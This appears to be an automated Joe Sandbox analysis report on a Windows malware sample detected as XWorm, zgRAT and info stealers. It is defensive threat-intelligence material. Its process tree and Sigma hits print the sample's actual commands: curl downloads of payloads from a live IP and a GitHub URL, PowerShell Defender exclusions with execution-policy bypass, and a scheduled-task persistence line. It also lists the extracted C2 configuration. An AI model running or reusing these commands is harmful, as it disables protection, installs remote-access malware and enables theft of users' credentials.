Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
ZOL2mIYAUH.exe

Overview

General Information

Sample name:ZOL2mIYAUH.exe
renamed because original name is a hash value
Original sample name:789473143f4f1465f0221fca36ac25f48cae1223f51c9d6219544b27879ec3a6.exe
Analysis ID:1561594
MD5:12395d08dc0bfe12e63605328ddd982f
SHA1:51ceb544e3900fb85fe7aada564d081219464d1d
SHA256:789473143f4f1465f0221fca36ac25f48cae1223f51c9d6219544b27879ec3a6
Tags:exeuser-Chainskilabs
Infos:

Detection

Phemedrone Stealer, PureLog Stealer, XWorm, zgRAT
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for URL or domain
Antivirus detection for dropped file
Detected unpacking (changes PE section rights)
Detected unpacking (overwrites its own PE header)
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected Generic Stealer
Yara detected Phemedrone Stealer
Yara detected PureLog Stealer
Yara detected XWorm
Yara detected zgRAT
AI detected suspicious sample
Adds a directory exclusion to Windows Defender
Bypasses PowerShell execution policy
C2 URLs / IPs found in malware configuration
Creates autostart registry keys with suspicious values (likely registry only malware)
Drops PE files to the user root directory
Drops PE files with a suspicious file extension
Hides threads from debuggers
Loading BitLocker PowerShell Module
Machine Learning detection for dropped file
Machine Learning detection for sample
PE file has nameless sections
Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Sigma detected: Execution from Suspicious Folder
Sigma detected: New RUN Key Pointing to Suspicious Folder
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Sigma detected: Script Interpreter Execution From Suspicious Folder
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Uses schtasks.exe or at.exe to add and modify task schedules
Yara detected Generic Downloader
AV process strings found (often used to terminate AV products)
Abnormal high CPU Usage
Allocates memory with a write watch (potentially for evading sandboxes)
Binary contains a suspicious time stamp
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Contains functionality to query locales information (e.g. system language)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a start menu entry (Start Menu\Programs\Startup)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Downloads executable code via HTTP
Drops PE files
Drops PE files to the user directory
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains sections with non-standard names
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Powershell Defender Exclusion
Sigma detected: SCR File Write Event
Sigma detected: Startup Folder File Write
Sigma detected: Suspicious Schtasks From Env Var Folder
Sigma detected: Suspicious Screensaver Binary File Creation
Stores files to the Windows start menu directory
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)
Yara signature match

Classification

Process Tree

  • System is w10x64
  • ZOL2mIYAUH.exe (PID: 6028 cmdline: "C:\Users\user\Desktop\ZOL2mIYAUH.exe" MD5: 12395D08DC0BFE12E63605328DDD982F)
    • conhost.exe (PID: 6024 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • powershell.exe (PID: 7300 cmdline: "powershell" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\'" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
      • conhost.exe (PID: 7308 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • cmd.exe (PID: 7540 cmdline: "cmd.exe" /c mkdir C:\Users\gbcd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • conhost.exe (PID: 7560 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • curl.exe (PID: 7612 cmdline: "curl.exe" -s http://79.110.49.246/didedba/abc -o C:\Users\gbcd\fff.scr MD5: 44E5BAEEE864F1E9EDBE3986246AB37A)
      • conhost.exe (PID: 7620 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • curl.exe (PID: 7712 cmdline: "curl.exe" -s http://79.110.49.246/didedba/dddv -o C:\Users\gbcd\qqq.scr MD5: 44E5BAEEE864F1E9EDBE3986246AB37A)
      • conhost.exe (PID: 7720 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • curl.exe (PID: 7848 cmdline: "curl.exe" -s http://79.110.49.246/didedba/write -o C:\Users\gbcd\ddd.scr MD5: 44E5BAEEE864F1E9EDBE3986246AB37A)
      • conhost.exe (PID: 7856 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • curl.exe (PID: 7944 cmdline: "curl.exe" -s https://raw.githubusercontent.com/huuuuggga/aaaaa1/refs/heads/main/srtware.exe -o C:\Users\gbcd\srtware.exe MD5: 44E5BAEEE864F1E9EDBE3986246AB37A)
      • conhost.exe (PID: 7952 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • fff.scr (PID: 8024 cmdline: "C:\Users\gbcd\fff.scr" MD5: 81720AF225C9B2E5C8D7B81A7581CF5D)
    • qqq.scr (PID: 3452 cmdline: "C:\Users\gbcd\qqq.scr" MD5: 33300ACB6FB3C7EFFAE29A3EB133BE2E)
      • powershell.exe (PID: 7384 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\gbcd\qqq.scr' MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
        • conhost.exe (PID: 7324 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 6632 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'qqq.scr' MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
        • conhost.exe (PID: 5260 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 3268 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Public\winnotify.scr' MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
        • conhost.exe (PID: 2040 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 4268 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'winnotify.scr' MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
        • conhost.exe (PID: 2092 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • schtasks.exe (PID: 4484 cmdline: "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "winnotify" /tr "C:\Users\Public\winnotify.scr" MD5: 48C2FE20575769DE916F48EF0676A965)
        • conhost.exe (PID: 5576 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • winnotify.scr (PID: 5920 cmdline: "C:\Users\Public\winnotify.scr" /S MD5: 33300ACB6FB3C7EFFAE29A3EB133BE2E)
  • winnotify.scr (PID: 7980 cmdline: "C:\Users\Public\winnotify.scr" /S MD5: 33300ACB6FB3C7EFFAE29A3EB133BE2E)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
XWormMalware with wide range of capabilities ranging from RAT to ransomware.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.xworm
NameDescriptionAttributionBlogpost URLsLink
zgRATzgRAT is a Remote Access Trojan malware which sometimes drops other malware such as AgentTesla malware. zgRAT has an inforstealer use which targets browser information and cryptowallets.Usually spreads by USB or phishing emails with -zip/-lnk/.bat/.xlsx attachments and so on.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.zgrat

Malware Configuration

Threatname: Xworm

{"C2 url": ["79.110.49.246"], "Port": 2331, "Aes key": "<e4efraq2sdsfvrf>", "SPL": "<Xwormmm>", "Install file": "USB.exe", "Version": "XWorm V5.2"}

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000017.00000002.1627355609.0000000005352000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_PhemedroneStealerYara detected Phemedrone StealerJoe Security
    00000017.00000002.1627355609.0000000005107000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_PhemedroneStealerYara detected Phemedrone StealerJoe Security
      00000017.00000002.1620855278.0000000000A52000.00000040.00000001.01000000.00000009.sdmpJoeSecurity_PureLogStealerYara detected PureLog StealerJoe Security
        00000017.00000002.1627355609.00000000050EF000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_PhemedroneStealerYara detected Phemedrone StealerJoe Security
          00000017.00000002.1630207447.00000000060D7000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_PhemedroneStealerYara detected Phemedrone StealerJoe Security
            Click to see the 27 entries

            Unpacked PEs

            SourceRuleDescriptionAuthorStrings
            38.2.winnotify.scr.511f9cc.0.raw.unpackJoeSecurity_XWormYara detected XWormJoe Security
              23.2.fff.scr.a50000.0.unpackJoeSecurity_GenericDownloader_1Yara detected Generic DownloaderJoe Security
                23.2.fff.scr.a50000.0.unpackJoeSecurity_zgRAT_1Yara detected zgRATJoe Security
                  23.2.fff.scr.a50000.0.unpackJoeSecurity_PureLogStealerYara detected PureLog StealerJoe Security
                    23.2.fff.scr.a50000.0.unpackMALWARE_Win_zgRATDetects zgRATditekSHen
                    • 0x43c93:$s1: file:///
                    • 0x43ba3:$s2: {11111-22222-10009-11112}
                    • 0x43c23:$s3: {11111-22222-50001-00000}
                    • 0x41a22:$s4: get_Module
                    • 0x38f03:$s5: Reverse
                    • 0x3c34a:$s6: BlockCopy
                    • 0x40d52:$s7: ReadByte
                    • 0x43ca5:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
                    Click to see the 7 entries

                    Sigma Signatures

                    System Summary

                    barindex
                    Sigma detected: Execution from Suspicious Folder
                    Source: Process startedAuthor: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Users\Public\winnotify.scr" /S, CommandLine: "C:\Users\Public\winnotify.scr" /S, CommandLine|base64offset|contains: , Image: C:\Users\Public\winnotify.scr, NewProcessName: C:\Users\Public\winnotify.scr, OriginalFileName: C:\Users\Public\winnotify.scr, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: "C:\Users\Public\winnotify.scr" /S, ProcessId: 5920, ProcessName: winnotify.scr
                    Sigma detected: New RUN Key Pointing to Suspicious Folder
                    Source: Registry Key setAuthor: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\Public\winnotify.scr, EventID: 13, EventType: SetValue, Image: C:\Users\gbcd\qqq.scr, ProcessId: 3452, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\winnotify
                    Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
                    Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "powershell" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\'", CommandLine: "powershell" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\'", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\ZOL2mIYAUH.exe", ParentImage: C:\Users\user\Desktop\ZOL2mIYAUH.exe, ParentProcessId: 6028, ParentProcessName: ZOL2mIYAUH.exe, ProcessCommandLine: "powershell" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\'", ProcessId: 7300, ProcessName: powershell.exe
                    Sigma detected: Script Interpreter Execution From Suspicious Folder
                    Source: Process startedAuthor: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Public\winnotify.scr', CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Public\winnotify.scr', CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\gbcd\qqq.scr", ParentImage: C:\Users\gbcd\qqq.scr, ParentProcessId: 3452, ParentProcessName: qqq.scr, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Public\winnotify.scr', ProcessId: 3268, ProcessName: powershell.exe
                    Sigma detected: Change PowerShell Policies to an Insecure Level
                    Source: Process startedAuthor: frack113: Data: Command: "powershell" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\'", CommandLine: "powershell" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\'", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\ZOL2mIYAUH.exe", ParentImage: C:\Users\user\Desktop\ZOL2mIYAUH.exe, ParentProcessId: 6028, ParentProcessName: ZOL2mIYAUH.exe, ProcessCommandLine: "powershell" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\'", ProcessId: 7300, ProcessName: powershell.exe
                    Sigma detected: CurrentVersion Autorun Keys Modification
                    Source: Registry Key setAuthor: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\Public\winnotify.scr, EventID: 13, EventType: SetValue, Image: C:\Users\gbcd\qqq.scr, ProcessId: 3452, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\winnotify
                    Sigma detected: Powershell Defender Exclusion
                    Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "powershell" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\'", CommandLine: "powershell" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\'", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\ZOL2mIYAUH.exe", ParentImage: C:\Users\user\Desktop\ZOL2mIYAUH.exe, ParentProcessId: 6028, ParentProcessName: ZOL2mIYAUH.exe, ProcessCommandLine: "powershell" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\'", ProcessId: 7300, ProcessName: powershell.exe
                    Sigma detected: SCR File Write Event
                    Source: File createdAuthor: Christopher Peacock @securepeacock, SCYTHE @scythe_io: Data: EventID: 11, Image: C:\Windows\SysWOW64\curl.exe, ProcessId: 7612, TargetFilename: C:\Users\gbcd\fff.scr
                    Sigma detected: Startup Folder File Write
                    Source: File createdAuthor: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Users\gbcd\qqq.scr, ProcessId: 3452, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winnotify.lnk
                    Sigma detected: Suspicious Schtasks From Env Var Folder
                    Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "winnotify" /tr "C:\Users\Public\winnotify.scr", CommandLine: "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "winnotify" /tr "C:\Users\Public\winnotify.scr", CommandLine|base64offset|contains: j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\gbcd\qqq.scr", ParentImage: C:\Users\gbcd\qqq.scr, ParentProcessId: 3452, ParentProcessName: qqq.scr, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "winnotify" /tr "C:\Users\Public\winnotify.scr", ProcessId: 4484, ProcessName: schtasks.exe
                    Sigma detected: Suspicious Screensaver Binary File Creation
                    Source: File createdAuthor: frack113: Data: EventID: 11, Image: C:\Windows\SysWOW64\curl.exe, ProcessId: 7612, TargetFilename: C:\Users\gbcd\fff.scr
                    Sigma detected: Local Accounts Discovery
                    Source: Process startedAuthor: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: "cmd.exe" /c mkdir C:\Users\gbcd, CommandLine: "cmd.exe" /c mkdir C:\Users\gbcd, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\ZOL2mIYAUH.exe", ParentImage: C:\Users\user\Desktop\ZOL2mIYAUH.exe, ParentProcessId: 6028, ParentProcessName: ZOL2mIYAUH.exe, ProcessCommandLine: "cmd.exe" /c mkdir C:\Users\gbcd, ProcessId: 7540, ProcessName: cmd.exe
                    Sigma detected: Non Interactive PowerShell Process Spawned
                    Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "powershell" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\'", CommandLine: "powershell" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\'", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\ZOL2mIYAUH.exe", ParentImage: C:\Users\user\Desktop\ZOL2mIYAUH.exe, ParentProcessId: 6028, ParentProcessName: ZOL2mIYAUH.exe, ProcessCommandLine: "powershell" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\'", ProcessId: 7300, ProcessName: powershell.exe

                    Suricata Signatures

                    TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                    2024-11-23T21:10:39.044988+010028528701Malware Command and Control Activity Detected79.110.49.2462331192.168.2.749868TCP
                    2024-11-23T21:10:50.432999+010028528701Malware Command and Control Activity Detected79.110.49.2462331192.168.2.749868TCP
                    2024-11-23T21:10:53.983309+010028528701Malware Command and Control Activity Detected79.110.49.2462331192.168.2.749868TCP
                    2024-11-23T21:11:02.062613+010028528701Malware Command and Control Activity Detected79.110.49.2462331192.168.2.749868TCP
                    2024-11-23T21:11:13.490207+010028528701Malware Command and Control Activity Detected79.110.49.2462331192.168.2.749868TCP
                    2024-11-23T21:11:23.968499+010028528701Malware Command and Control Activity Detected79.110.49.2462331192.168.2.749868TCP
                    2024-11-23T21:11:24.989256+010028528701Malware Command and Control Activity Detected79.110.49.2462331192.168.2.749868TCP
                    2024-11-23T21:11:36.364211+010028528701Malware Command and Control Activity Detected79.110.49.2462331192.168.2.749868TCP
                    2024-11-23T21:11:47.805214+010028528701Malware Command and Control Activity Detected79.110.49.2462331192.168.2.749868TCP
                    2024-11-23T21:11:53.987648+010028528701Malware Command and Control Activity Detected79.110.49.2462331192.168.2.749868TCP
                    2024-11-23T21:11:59.162483+010028528701Malware Command and Control Activity Detected79.110.49.2462331192.168.2.749868TCP
                    2024-11-23T21:12:10.625544+010028528701Malware Command and Control Activity Detected79.110.49.2462331192.168.2.749868TCP
                    2024-11-23T21:12:22.198975+010028528701Malware Command and Control Activity Detected79.110.49.2462331192.168.2.749868TCP
                    2024-11-23T21:12:23.978371+010028528701Malware Command and Control Activity Detected79.110.49.2462331192.168.2.749868TCP
                    2024-11-23T21:12:33.747164+010028528701Malware Command and Control Activity Detected79.110.49.2462331192.168.2.749868TCP
                    2024-11-23T21:12:44.974645+010028528701Malware Command and Control Activity Detected79.110.49.2462331192.168.2.749868TCP
                    2024-11-23T21:12:53.980651+010028528701Malware Command and Control Activity Detected79.110.49.2462331192.168.2.749868TCP
                    2024-11-23T21:12:56.372835+010028528701Malware Command and Control Activity Detected79.110.49.2462331192.168.2.749868TCP
                    2024-11-23T21:13:10.429811+010028528701Malware Command and Control Activity Detected79.110.49.2462331192.168.2.749868TCP
                    TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                    2024-11-23T21:10:39.225371+010028529231Malware Command and Control Activity Detected192.168.2.74986879.110.49.2462331TCP
                    2024-11-23T21:10:50.461753+010028529231Malware Command and Control Activity Detected192.168.2.74986879.110.49.2462331TCP
                    2024-11-23T21:11:02.090623+010028529231Malware Command and Control Activity Detected192.168.2.74986879.110.49.2462331TCP
                    2024-11-23T21:11:13.511136+010028529231Malware Command and Control Activity Detected192.168.2.74986879.110.49.2462331TCP
                    2024-11-23T21:11:25.009018+010028529231Malware Command and Control Activity Detected192.168.2.74986879.110.49.2462331TCP
                    2024-11-23T21:11:36.385969+010028529231Malware Command and Control Activity Detected192.168.2.74986879.110.49.2462331TCP
                    2024-11-23T21:11:47.849077+010028529231Malware Command and Control Activity Detected192.168.2.74986879.110.49.2462331TCP
                    2024-11-23T21:11:59.206367+010028529231Malware Command and Control Activity Detected192.168.2.74986879.110.49.2462331TCP
                    2024-11-23T21:12:10.641354+010028529231Malware Command and Control Activity Detected192.168.2.74986879.110.49.2462331TCP
                    2024-11-23T21:12:22.230408+010028529231Malware Command and Control Activity Detected192.168.2.74986879.110.49.2462331TCP
                    2024-11-23T21:12:33.800468+010028529231Malware Command and Control Activity Detected192.168.2.74986879.110.49.2462331TCP
                    2024-11-23T21:12:45.049960+010028529231Malware Command and Control Activity Detected192.168.2.74986879.110.49.2462331TCP
                    2024-11-23T21:12:56.400521+010028529231Malware Command and Control Activity Detected192.168.2.74986879.110.49.2462331TCP
                    2024-11-23T21:13:10.431241+010028529231Malware Command and Control Activity Detected192.168.2.74986879.110.49.2462331TCP

                    Joe Sandbox Signatures

                    Click to jump to signature section

                    Show All Signature Results

                    AV Detection

                    barindex
                    Antivirus / Scanner detection for submitted sample
                    Source: ZOL2mIYAUH.exeAvira: detected
                    Antivirus detection for URL or domain
                    Source: http://79.110.49.246/didedba/writeAvira URL Cloud: Label: malware
                    Source: http://79.110.49.246/didedba/dddvAvira URL Cloud: Label: malware
                    Source: http://79.110.49.246/didedba/abcAvira URL Cloud: Label: malware
                    Antivirus detection for dropped file
                    Source: C:\Users\Public\winnotify.scrAvira: detection malicious, Label: HEUR/AGEN.1354408
                    Source: C:\Users\gbcd\qqq.scrAvira: detection malicious, Label: HEUR/AGEN.1354408
                    Source: C:\Users\gbcd\fff.scrAvira: detection malicious, Label: HEUR/AGEN.1354408
                    Found malware configuration
                    Source: 00000018.00000002.3715480219.0000000005101000.00000004.00000800.00020000.00000000.sdmpMalware Configuration Extractor: Xworm {"C2 url": ["79.110.49.246"], "Port": 2331, "Aes key": "<e4efraq2sdsfvrf>", "SPL": "<Xwormmm>", "Install file": "USB.exe", "Version": "XWorm V5.2"}
                    Multi AV Scanner detection for dropped file
                    Source: C:\Users\Public\winnotify.scrReversingLabs: Detection: 51%
                    Source: C:\Users\gbcd\ddd.scrReversingLabs: Detection: 83%
                    Source: C:\Users\gbcd\qqq.scrReversingLabs: Detection: 51%
                    Source: C:\Users\gbcd\srtware.exeReversingLabs: Detection: 37%
                    Multi AV Scanner detection for submitted file
                    Source: ZOL2mIYAUH.exeReversingLabs: Detection: 65%
                    AI detected suspicious sample
                    Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
                    Machine Learning detection for dropped file
                    Source: C:\Users\Public\winnotify.scrJoe Sandbox ML: detected
                    Source: C:\Users\gbcd\qqq.scrJoe Sandbox ML: detected
                    Source: C:\Users\gbcd\fff.scrJoe Sandbox ML: detected
                    Machine Learning detection for sample
                    Source: ZOL2mIYAUH.exeJoe Sandbox ML: detected

                    Compliance

                    barindex
                    Detected unpacking (overwrites its own PE header)
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeUnpacked PE file: 0.2.ZOL2mIYAUH.exe.1c0000.0.unpack
                    Source: C:\Users\gbcd\fff.scrUnpacked PE file: 23.2.fff.scr.a50000.0.unpack
                    Source: C:\Users\Public\winnotify.scrUnpacked PE file: 37.2.winnotify.scr.450000.0.unpack
                    Source: ZOL2mIYAUH.exeStatic PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
                    Source: unknownHTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.7:49745 version: TLS 1.2
                    Source: unknownHTTPS traffic detected: 104.26.0.100:443 -> 192.168.2.7:49756 version: TLS 1.2
                    Source: Binary string: srtware.pdb source: ZOL2mIYAUH.exe, ZOL2mIYAUH.exe, 00000000.00000002.3688530749.00000000001C2000.00000040.00000001.01000000.00000003.sdmp
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeCode function: 0_2_00469CD8 lstrcpyn,lstrcpyn,lstrcpyn,FindFirstFileA,FindClose,lstrlen,lstrcpyn,lstrlen,lstrcpyn,0_2_00469CD8
                    Source: C:\Users\gbcd\fff.scrCode function: 23_2_00D33CD8 lstrcpyn,lstrcpyn,lstrcpyn,FindFirstFileA,FindClose,lstrlen,lstrcpyn,lstrlen,lstrcpyn,23_2_00D33CD8

                    Networking

                    barindex
                    Suricata IDS alerts for network traffic
                    Source: Network trafficSuricata IDS: 2852870 - Severity 1 - ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes : 79.110.49.246:2331 -> 192.168.2.7:49868
                    Source: Network trafficSuricata IDS: 2852923 - Severity 1 - ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client) : 192.168.2.7:49868 -> 79.110.49.246:2331
                    C2 URLs / IPs found in malware configuration
                    Source: Malware configuration extractorURLs: 79.110.49.246
                    Yara detected Generic Downloader
                    Source: Yara matchFile source: 23.2.fff.scr.a50000.0.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 37.2.winnotify.scr.450000.0.unpack, type: UNPACKEDPE
                    Source: global trafficTCP traffic: 192.168.2.7:49767 -> 79.110.49.246:5152
